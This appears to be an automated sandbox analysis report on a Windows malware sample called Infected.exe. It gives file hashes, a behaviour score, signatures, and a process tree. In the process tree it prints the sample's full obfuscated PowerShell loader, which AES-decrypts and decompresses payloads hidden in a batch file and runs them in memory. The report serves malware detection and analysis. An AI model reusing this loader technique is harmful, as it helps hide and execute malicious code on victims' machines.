Analysis

  • max time kernel
    119s
  • max time network
    121s
  • platform
    windows7_x64
  • resource
    win7-20240708-en
  • resource tags

    arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
  • submitted
    16-07-2024 05:39

General

  • Target

    Infected.exe

  • Size

    4.6MB

  • MD5

    35eefe804869dc29fb80b873a22b5429

  • SHA1

    e360ffd23f110a02fede39d6cf5c11bad9942a7e

  • SHA256

    06bf5c4fae8a3daae451bd03bd5c2939c3698779d11fe438bf3cbe00d7d8f116

  • SHA512

    f6e76e5d768666232781cab6230a6c7bc2e1d95988442240875b94264db41412d66bfae39b3097dbab44585d4e6f124543e3a2d9a0a6c4374ed3bef6490fda9b

  • SSDEEP

    98304:tV/iK0UflRkkurEShUyGgjTbOMqYW9MSJjJ473+jzJQ9Dy8DB89U:fzDRkkurEyRjTPqYbSVm732dQA8DBB

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Infected.exe
    "C:\Users\Admin\AppData\Local\Temp\Infected.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3052
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\Infected.bat" "
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2708
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zf2tMBcGp3hwF4FZUItmcIgUcPp+j72YioWbRlDJta4='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('bO8cIdciqhKkrYo83c3cUQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $nVxAI=New-Object System.IO.MemoryStream(,$param_var); $BIIJJ=New-Object System.IO.MemoryStream; $Yvhyo=New-Object System.IO.Compression.GZipStream($nVxAI, [IO.Compression.CompressionMode]::Decompress); $Yvhyo.CopyTo($BIIJJ); $Yvhyo.Dispose(); $nVxAI.Dispose(); $BIIJJ.Dispose(); $BIIJJ.ToArray();}function execute_function($param_var,$param2_var){ $gxqAr=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $NltzE=$gxqAr.EntryPoint; $NltzE.Invoke($null, $param2_var);}$nwWil = 'C:\Users\Admin\AppData\Local\Temp\RarSFX0\Infected.bat';$host.UI.RawUI.WindowTitle = $nwWil;$DprSi=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($nwWil).Split([Environment]::NewLine);foreach ($dZZtp in $DprSi) { if ($dZZtp.StartsWith('vqImMRbNlIuMBiftLQqW')) { $igWwD=$dZZtp.Substring(20); break; }}$payloads_var=[string[]]$igWwD.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
        3⤵
          PID:2732
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2804

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\RarSFX0\Infected.bat

      Filesize

      5.6MB

      MD5

      4a7d24799a4fb25ccf141b6e7ac5ae65

      SHA1

      cf7606a711025e9a648aaea03547cf4a5a1c439b

      SHA256

      f588fa3dfcdb422d0460fd7778524417dc758dad980c9dfc78d6ca3c4f2dd64b

      SHA512

      10517e84ec64a8c7058cea2fbe05d326224541a46b8caff688d05d148387b5b935f22e0c3d180e879996fd37f7486212cf3f91a5445c45c67150b0ebba6b185c

    We care about your privacy.

    This website stores cookies on your computer. These cookies are used to improve your website experience and provide more personalized services to you, both on this website and through other media. To find out more about the cookies we use, see our Privacy Policy.